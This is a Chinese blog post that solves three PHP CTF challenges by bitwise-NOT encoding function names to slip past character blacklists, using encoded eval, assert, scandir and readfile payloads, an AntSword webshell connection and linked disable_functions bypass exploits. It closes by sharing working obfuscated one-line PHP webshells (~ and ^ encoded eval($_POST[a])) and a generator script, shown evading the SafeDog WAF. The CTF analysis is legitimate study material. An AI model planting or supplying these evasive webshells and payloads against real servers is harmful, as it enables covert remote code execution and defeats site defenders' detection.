PHP7 函数特性分析


主要记录一下这两天遇到的题目,一道是基于P牛写的一篇文章修改的题目,另一道是WM&嘶吼主办的RoarCTF题目,在此详细的记录一下利用php7特性去绕过黑名单,顺便分享一下以此特性生成的过狗马

0x01

首先看一下P牛的那道题目

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
    //$hint =  "php function getFlag() to get flag"
}

根据题目就可以看出来,主要的目的就是让我们绕过正则匹配,之后执行getFlag()函数,这里P牛指出了一个思路,因为题目是基于php7的,我们可以根据php7的特性进行解题。

image.png-61.7kB

可以具体的分析一下,根据php官网所说的意思,与原来版本不同的是:

phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行

所以在php7的环境中,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入到题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的有“^”和“~”由于异或的字符较多,我比较习惯使用“~”(取1的补数)。
下面是生成方式,使用URL编码的原因是,在进行“~”运算时,经常会生成不可见字符。

$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo

尝试执行一下:

image.png-99.8kB

可以看到成功的执行了phpinfo函数,下一步就非常简单了,直接执行getFlag()函数即可。

$a = "getFlag";
echo urlencode(~$a);
%98%9A%8B%B9%93%9E%98 //getFlag

执行:

image.png-50.7kB

成功执行函数,获取到flag,这道题目到此就可以结束了。接着分析下一道

0x02

<?php
error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);

// ?>

这道题目时evoA师傅在极客大挑战中出的一道题目,相比上面的那道题目,这道题目不是简单的让我们去执行函数了,而是让我们通过限制,去进行目录查看执行命令等操作。仍然是用原来的方法,使用“~”

$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo

image.png-129.8kB

执行一下phpinfo,查看一下被禁用的函数:

image.png-99.3kB

pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl

可以发现我们常用的执行系统命令的函数都被禁掉了,不过不要紧,我们先尝试读取系统目录,这里使用scandir函数

print_r(scandir('./'));

进行编码操作

%8F%8D%96%91%8B%A0%8D # print_r
%8C%9C%9E%91%9B%96%8D # scandir

尝试读取当前目录

(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));

image.png-53.8kB

尝试获取根目录内容

image.png-93kB

发现了readflag和flag文件,尝试一下直接读取flag

readfile('/flag');

编码一下

%8D%9A%9E%9B%99%96%93%9A # readfile
%D0%99%93%9E%98 # /flag

尝试读取一下readflag文件

(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));

image.png-101.7kB

可以看出是一个二进制文件,我们需要执行/readflag文件来读取字符串,但是我们常用执行系统函数的方法都被禁止了,但是经过fuzz发现,php的assert函数没有被禁止,我们可以使用assert函数写shell

assert($_POST['a']);

编码一下

%9E%8C%8C%9A%8D%8B # assert
%DB%A0%AF%B0%AC%AB # $_POST
%9E # a

尝试一下

(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);

image.png-74.4kB

网页没有正常运行,继续尝试别的方法

在查看tmp目录下发现有其他内容

image.png-219.5kB

…某不知名大型跑马场,有现成的就很方便了,随便读一个shell看看内容

image.png-24.7kB

尝试文件包含一下

assert(include("hack.php"););

编码一下,执行命令

(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));

image.png-115kB

成功执行,使用蚁剑链接一下,上传我们的bypass脚本和拓展库,分享一下常用的两个

image.png-82.1kB

https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

这个过程就不演示了,主要就是演示一下最后的利用,包含我们上传的文件

assert(include("ssll.php"););
(~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);

执行命令

image.png-627.2kB

成功拿到了flag。有了前面两道题目的基础,我们继续研究最后一道题目

0x03

这道题目是W&M战队的师傅出的一道题目,还是很有意思的一道题目,方法有很多,我们还是用php7的特性去解决这道题目,这里使用的复现环境是glzjin老哥的buuoj.cn

题目地址:

http://85d76d27-ef73-4491-9f73-fab9db727f7e.node2.buuoj.cn.wetolink.com:82

访问题目

image.png-29.1kB

看到是一个类似计算器的页面,查看源码发现calc.php

image.png-64.7kB

访问页面发现是一个代码审计题目,依旧是绕过黑名单执行命令

image.png-71.5kB

与前面题目不同的是,题目只对一些特殊符号进行了过滤,首先测试绕过$str执行函数,这里有篇文章讲述了原理,我们执行在要输入的参数前加%20即空格,即可绕过WAF

https://www.freebuf.com/articles/web/213359.html?tdsourcetag=s_pcqq_aiomsg

尝试利用一下

image.png-105kB

成功执行phpinfo,下一步就是看一下能不能直接查看系统目录,使用:

print_r(scandir("./"));

因为黑名单中存在“/”,这里我们同样使用“~”去绕过

编码一下

print_r(scandir((~%D1%D0)));

image.png-50.4kB

成功获取当前页面的目录列表,下一步获取根目录列表

print_r(scandir((~%D0)));

image.png-66.2kB

发现f1agg文件,尝试读取一下

readfile((~%D0%99%CE%9E%98%98));

image.png-59.3kB

成功读取flag文件,以上就是使用php7特性去解决的三个问题,然后给大家分享一下,因为这几道题目获取到的灵感,从而写了几个过狗马

t00ls地址:

https://www.t00ls.net/articles-53304.html

下面是原文章

<?
$b=~urldecode('%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%C4');
$a=$b;
eval(/*echo*/($a));//password=a
?>

看一下执行效果:

image.png-126.4kB

检测结果,成功过狗

image.png-192.8kB

生成脚本,这里主要借用了P牛的思路

$c = 'eval($_POST[a]);';
echo urlencode(~$c);

思路主要就是借用“~”符号, “~”的主要作用为取1的补数,生成的不可见字符可以使用URL编码保存,这样检测时不会发现危险函数,也就不会发现我们的一句话木马啦

同样,还有“^”符号绕过

$a='999999999999999999999999'^urldecode('%5COXU%11%1DfivjmbXXXd%10%02');
eval(/*echo*/($a));//password=aaa

检测结果:

image.png-241.1kB

其他的过狗马等有思路就再出一篇文章(咕咕咕)


One thought on “PHP7 函数特性分析”

发表评论

邮箱地址不会被公开。 必填项已用*标注